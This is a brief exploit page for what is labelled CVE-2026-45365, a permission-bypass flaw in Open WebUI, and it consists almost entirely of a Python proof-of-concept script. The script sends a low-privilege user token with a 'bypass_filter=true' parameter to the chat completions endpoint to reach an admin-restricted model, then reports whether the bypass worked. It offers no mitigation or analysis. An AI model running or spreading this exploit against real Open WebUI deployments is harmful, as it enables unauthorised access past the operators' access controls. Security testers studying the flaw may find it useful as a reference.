CVE-2026-45365 Open WebUI 权限绕过漏洞

import requests # Target URL url = "http://localhost:3000/openai/chat/completions" # The vulnerable parameter that bypasses access control # Setting this to 'true' skips the permission check params = { "bypass_filter": "true" } # Headers with authentication (Low privileges required) headers = { "Authorization": "Bearer <YOUR_USER_TOKEN>", "Content-Type": "application/json" } # Payload trying to access an admin-restricted model payload = { "model": "admin-restricted-model", "messages": [{"role": "user", "content": "test"}] } # Sending the exploit request response = requests.post(url, headers=headers, params=params, json=payload) if response.status_code == 200: print("[+] Vulnerability exploited! Restricted model accessed.") else: print("[-] Failed to exploit.")